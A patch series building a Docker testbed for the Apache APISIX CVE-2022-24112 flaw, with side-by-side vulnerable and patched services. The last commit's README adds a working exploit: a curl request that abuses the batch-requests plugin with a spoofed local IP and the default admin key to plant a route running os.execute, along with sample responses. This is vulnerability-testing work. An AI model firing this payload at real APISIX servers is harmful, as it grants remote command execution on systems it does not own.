From 56bab926e81864255d792faf8c8b2b71a72dc722 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Wed, 6 May 2026 06:39:58 -0400 Subject: [PATCH 1/5] added cve-2022-24112 testbed --- apache/apisix/cve-2022-24112/README.md | 14 ++++++++++ .../apisix/cve-2022-24112/config_default.yml | 12 ++++++++ .../apisix/cve-2022-24112/docker-compose.yml | 28 +++++++++++++++++++ 3 files changed, 54 insertions(+) create mode 100644 apache/apisix/cve-2022-24112/README.md create mode 100644 apache/apisix/cve-2022-24112/config_default.yml create mode 100644 apache/apisix/cve-2022-24112/docker-compose.yml diff --git a/apache/apisix/cve-2022-24112/README.md b/apache/apisix/cve-2022-24112/README.md new file mode 100644 index 00000000..1fa2bb62 --- /dev/null +++ b/apache/apisix/cve-2022-24112/README.md @@ -0,0 +1,14 @@ +# Apache APISIX 2022-24112 + +Apache APISIX has a built-in default API KEY. If the user does not proactively modify it (which few will), Lua scripts +can be executed directly through the API interface, which can lead to RCE vulnerabilities. Normally, the admin API endpoints are restricted by the client IP address, but CVE-2022-24112 makes admin functionality available to any client through a bug in the batch requests plugin. + + +This directory contains a deployment config for an Apache APISIX installation that is vulnerable to CVE-2022-24112 and uses a default API key. + + + + +You can start both the vulnerable service and safe service by running the command `docker compose up -d`. The vulnerable container listens on port `8081`, and the safe container listens on port `8082`. + +In this case, the vulnerable service uses APISIX 2.11.0, while the safe service uses APISIX 2.13.0 (still with a default API key, so not fully safe). diff --git a/apache/apisix/cve-2022-24112/config_default.yml b/apache/apisix/cve-2022-24112/config_default.yml new file mode 100644 index 00000000..6cab0fd4 --- /dev/null +++ b/apache/apisix/cve-2022-24112/config_default.yml @@ -0,0 +1,12 @@ +apisix: + node_listen: 9080 + enable_ipv6: false + enable_control: true + control: + ip: "0.0.0.0" + port: 9092 +etcd: + host: + - "http://etcd:2379" + prefix: "/apisix" + timeout: 30 diff --git a/apache/apisix/cve-2022-24112/docker-compose.yml b/apache/apisix/cve-2022-24112/docker-compose.yml new file mode 100644 index 00000000..204d8294 --- /dev/null +++ b/apache/apisix/cve-2022-24112/docker-compose.yml @@ -0,0 +1,28 @@ +services: + apache-apisix-cve-2022-24112-vuln: + image: apache/apisix:2.11.0-alpine + platform: linux/amd64 + restart: unless-stopped + ports: + - "8081:9080" + volumes: + - ./config_default.yml:/usr/local/apisix/conf/config.yaml:ro + depends_on: + - etcd + apache-apisix-cve-2022-24112-safe: + image: apache/apisix:2.13.0-alpine + platform: linux/amd64 + restart: unless-stopped + ports: + - "8082:9080" + volumes: + - ./config_default.yml:/usr/local/apisix/conf/config.yaml:ro + depends_on: + - etcd + etcd: + image: bitnamilegacy/etcd:3.4.15 + environment: + ETCD_ENABLE_V2: "true" + ALLOW_NONE_AUTHENTICATION: "yes" + ETCD_ADVERTISE_CLIENT_URLS: "http://0.0.0.0:2379" + ETCD_LISTEN_CLIENT_URLS: "http://0.0.0.0:2379" From 8105453c9ea5ca8d1301734614eb9b3fd808ba5e Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Fri, 5 Jun 2026 10:09:23 -0400 Subject: [PATCH 2/5] uses two etcd services now --- ...ig_default.yml => config_default-safe.yml} | 2 +- .../cve-2022-24112/config_default-vuln.yml | 12 ++++++++ .../apisix/cve-2022-24112/docker-compose.yml | 28 +++++++++++++++---- 3 files changed, 36 insertions(+), 6 deletions(-) rename apache/apisix/cve-2022-24112/{config_default.yml => config_default-safe.yml} (84%) create mode 100644 apache/apisix/cve-2022-24112/config_default-vuln.yml diff --git a/apache/apisix/cve-2022-24112/config_default.yml b/apache/apisix/cve-2022-24112/config_default-safe.yml similarity index 84% rename from apache/apisix/cve-2022-24112/config_default.yml rename to apache/apisix/cve-2022-24112/config_default-safe.yml index 6cab0fd4..a60ad118 100644 --- a/apache/apisix/cve-2022-24112/config_default.yml +++ b/apache/apisix/cve-2022-24112/config_default-safe.yml @@ -7,6 +7,6 @@ apisix: port: 9092 etcd: host: - - "http://etcd:2379" + - "http://etcd-safe:2379" prefix: "/apisix" timeout: 30 diff --git a/apache/apisix/cve-2022-24112/config_default-vuln.yml b/apache/apisix/cve-2022-24112/config_default-vuln.yml new file mode 100644 index 00000000..ca57de0d --- /dev/null +++ b/apache/apisix/cve-2022-24112/config_default-vuln.yml @@ -0,0 +1,12 @@ +apisix: + node_listen: 9080 + enable_ipv6: false + enable_control: true + control: + ip: "0.0.0.0" + port: 9092 +etcd: + host: + - "http://etcd-vuln:2379" + prefix: "/apisix" + timeout: 30 diff --git a/apache/apisix/cve-2022-24112/docker-compose.yml b/apache/apisix/cve-2022-24112/docker-compose.yml index 204d8294..1c47a513 100644 --- a/apache/apisix/cve-2022-24112/docker-compose.yml +++ b/apache/apisix/cve-2022-24112/docker-compose.yml @@ -6,9 +6,11 @@ services: ports: - "8081:9080" volumes: - - ./config_default.yml:/usr/local/apisix/conf/config.yaml:ro + - ./config_default-vuln.yml:/usr/local/apisix/conf/config.yaml:ro depends_on: - - etcd + - etcd-vuln + networks: + - vuln apache-apisix-cve-2022-24112-safe: image: apache/apisix:2.13.0-alpine platform: linux/amd64 @@ -16,13 +18,29 @@ services: ports: - "8082:9080" volumes: - - ./config_default.yml:/usr/local/apisix/conf/config.yaml:ro + - ./config_default-safe.yml:/usr/local/apisix/conf/config.yaml:ro depends_on: - - etcd - etcd: + - etcd-safe + networks: + - safe + etcd-vuln: image: bitnamilegacy/etcd:3.4.15 environment: ETCD_ENABLE_V2: "true" ALLOW_NONE_AUTHENTICATION: "yes" ETCD_ADVERTISE_CLIENT_URLS: "http://0.0.0.0:2379" ETCD_LISTEN_CLIENT_URLS: "http://0.0.0.0:2379" + networks: + - vuln + etcd-safe: + image: bitnamilegacy/etcd:3.4.15 + environment: + ETCD_ENABLE_V2: "true" + ALLOW_NONE_AUTHENTICATION: "yes" + ETCD_ADVERTISE_CLIENT_URLS: "http://0.0.0.0:2379" + ETCD_LISTEN_CLIENT_URLS: "http://0.0.0.0:2379" + networks: + - safe +networks: + safe: + vuln: From 49816e6873a30f34b2496270400c70dea0bbfc05 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Fri, 5 Jun 2026 11:28:07 -0400 Subject: [PATCH 3/5] improved setup --- .../cve-2022-24112/config_default-vuln.yml | 12 ---------- ...ig_default-safe.yml => config_default.yml} | 2 +- .../apisix/cve-2022-24112/docker-compose.yml | 22 ++++++++++++++----- 3 files changed, 17 insertions(+), 19 deletions(-) delete mode 100644 apache/apisix/cve-2022-24112/config_default-vuln.yml rename apache/apisix/cve-2022-24112/{config_default-safe.yml => config_default.yml} (84%) diff --git a/apache/apisix/cve-2022-24112/config_default-vuln.yml b/apache/apisix/cve-2022-24112/config_default-vuln.yml deleted file mode 100644 index ca57de0d..00000000 --- a/apache/apisix/cve-2022-24112/config_default-vuln.yml +++ /dev/null @@ -1,12 +0,0 @@ -apisix: - node_listen: 9080 - enable_ipv6: false - enable_control: true - control: - ip: "0.0.0.0" - port: 9092 -etcd: - host: - - "http://etcd-vuln:2379" - prefix: "/apisix" - timeout: 30 diff --git a/apache/apisix/cve-2022-24112/config_default-safe.yml b/apache/apisix/cve-2022-24112/config_default.yml similarity index 84% rename from apache/apisix/cve-2022-24112/config_default-safe.yml rename to apache/apisix/cve-2022-24112/config_default.yml index a60ad118..6cab0fd4 100644 --- a/apache/apisix/cve-2022-24112/config_default-safe.yml +++ b/apache/apisix/cve-2022-24112/config_default.yml @@ -7,6 +7,6 @@ apisix: port: 9092 etcd: host: - - "http://etcd-safe:2379" + - "http://etcd:2379" prefix: "/apisix" timeout: 30 diff --git a/apache/apisix/cve-2022-24112/docker-compose.yml b/apache/apisix/cve-2022-24112/docker-compose.yml index 1c47a513..785c12eb 100644 --- a/apache/apisix/cve-2022-24112/docker-compose.yml +++ b/apache/apisix/cve-2022-24112/docker-compose.yml @@ -6,11 +6,13 @@ services: ports: - "8081:9080" volumes: - - ./config_default-vuln.yml:/usr/local/apisix/conf/config.yaml:ro + - ./config_default.yml:/usr/local/apisix/conf/config.yaml:ro depends_on: - etcd-vuln networks: - - vuln + vuln: + aliases: + - apisix apache-apisix-cve-2022-24112-safe: image: apache/apisix:2.13.0-alpine platform: linux/amd64 @@ -18,11 +20,13 @@ services: ports: - "8082:9080" volumes: - - ./config_default-safe.yml:/usr/local/apisix/conf/config.yaml:ro + - ./config_default.yml:/usr/local/apisix/conf/config.yaml:ro depends_on: - etcd-safe networks: - - safe + safe: + aliases: + - apisix etcd-vuln: image: bitnamilegacy/etcd:3.4.15 environment: @@ -31,7 +35,9 @@ services: ETCD_ADVERTISE_CLIENT_URLS: "http://0.0.0.0:2379" ETCD_LISTEN_CLIENT_URLS: "http://0.0.0.0:2379" networks: - - vuln + vuln: + aliases: + - etcd etcd-safe: image: bitnamilegacy/etcd:3.4.15 environment: @@ -40,7 +46,11 @@ services: ETCD_ADVERTISE_CLIENT_URLS: "http://0.0.0.0:2379" ETCD_LISTEN_CLIENT_URLS: "http://0.0.0.0:2379" networks: - - safe + safe: + aliases: + - etcd networks: safe: + driver: bridge vuln: + driver: bridge From 5f574f1a856f36d646acfd44ef3d4f8f7323ec5a Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Wed, 10 Jun 2026 11:21:07 -0400 Subject: [PATCH 4/5] made behavior more consistent --- apache/apisix/cve-2022-24112/docker-compose.yml | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/apache/apisix/cve-2022-24112/docker-compose.yml b/apache/apisix/cve-2022-24112/docker-compose.yml index 785c12eb..f447ef5a 100644 --- a/apache/apisix/cve-2022-24112/docker-compose.yml +++ b/apache/apisix/cve-2022-24112/docker-compose.yml @@ -8,7 +8,8 @@ services: volumes: - ./config_default.yml:/usr/local/apisix/conf/config.yaml:ro depends_on: - - etcd-vuln + etcd-vuln: + condition: service_healthy networks: vuln: aliases: @@ -22,7 +23,8 @@ services: volumes: - ./config_default.yml:/usr/local/apisix/conf/config.yaml:ro depends_on: - - etcd-safe + etcd-safe: + condition: service_healthy networks: safe: aliases: @@ -34,6 +36,11 @@ services: ALLOW_NONE_AUTHENTICATION: "yes" ETCD_ADVERTISE_CLIENT_URLS: "http://0.0.0.0:2379" ETCD_LISTEN_CLIENT_URLS: "http://0.0.0.0:2379" + healthcheck: + test: ["CMD", "curl", "-sf", "http://localhost:2379/health"] + interval: 5s + timeout: 3s + retries: 10 networks: vuln: aliases: @@ -45,6 +52,11 @@ services: ALLOW_NONE_AUTHENTICATION: "yes" ETCD_ADVERTISE_CLIENT_URLS: "http://0.0.0.0:2379" ETCD_LISTEN_CLIENT_URLS: "http://0.0.0.0:2379" + healthcheck: + test: ["CMD", "curl", "-sf", "http://localhost:2379/health"] + interval: 5s + timeout: 3s + retries: 10 networks: safe: aliases: From 86b67e35cdec73119f57a07397093cb6062a037d Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Thu, 11 Jun 2026 12:43:17 -0400 Subject: [PATCH 5/5] added curl command --- apache/apisix/cve-2022-24112/README.md | 33 ++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) diff --git a/apache/apisix/cve-2022-24112/README.md b/apache/apisix/cve-2022-24112/README.md index 1fa2bb62..89602b92 100644 --- a/apache/apisix/cve-2022-24112/README.md +++ b/apache/apisix/cve-2022-24112/README.md @@ -12,3 +12,36 @@ This directory contains a deployment config for an Apache APISIX installation th You can start both the vulnerable service and safe service by running the command `docker compose up -d`. The vulnerable container listens on port `8081`, and the safe container listens on port `8082`. In this case, the vulnerable service uses APISIX 2.11.0, while the safe service uses APISIX 2.13.0 (still with a default API key, so not fully safe). + +## Testing the vulnerability + +Run the following command, replacing `YOUR_COMMAND_HERE` with the command you want to execute (this won't be executed from this curl command alone, you need to execute the route too): +``` +curl -X POST "http://localhost:8081/apisix/batch-requests" \ + -H "Content-Type: application/json" \ + -d '{ + "headers": { + "X-Real-IP": "127.0.0.1", + "X-API-KEY": "edd1c9f034335f136f87ad84b625c8f1", + "Content-Type": "application/json" + }, + "timeout": 1500, + "pipeline": [ + { + "path": "/apisix/admin/routes/tsunami_rce?ttl=30", + "method": "PUT", + "body": "{\"uri\":\"/test/anything\",\"upstream\":{\"type\":\"roundrobin\",\"nodes\":{}},\"name\":\"anything\",\"filter_func\":\"function(vars) return os.execute(\\\"YOUR_COMMAND_HERE\\\")==true end\"}" + } + ] + }' +``` + +Vulnerable Response: +``` +[{"reason":"Created","body":"{\"node\":{\"key\":\"\\\/apisix\\\/routes\\\/tsunami_rce\",\"value\":{\"id\":\"tsunami_rce\",\"update_time\":1781196124,\"create_time\":1781196124,\"name\":\"anything\",\"filter_func\":\"function(vars) return os.execute(\\\"YOUR_COMMAND_HERE\\\")==true end\",\"uri\":\"\\\/test\\\/anything\",\"status\":1,\"priority\":0,\"upstream\":{\"scheme\":\"http\",\"hash_on\":\"vars\",\"type\":\"roundrobin\",\"pass_host\":\"pass\",\"nodes\":{}}}},\"action\":\"set\"}\n","status":201,"headers":{"Date":"Thu, 11 Jun 2026 16:42:04 GMT","Server":"APISIX\/2.11.0","Access-Control-Max-Age":"3600","Connection":"keep-alive","Access-Control-Allow-Credentials":"true","Access-Control-Expose-Headers":"*","Access-Control-Allow-Origin":"*","Content-Type":"application\/json","Transfer-Encoding":"chunked"}}] +``` + +Safe Response: +``` +{"error_msg":"404 Route Not Found"} +```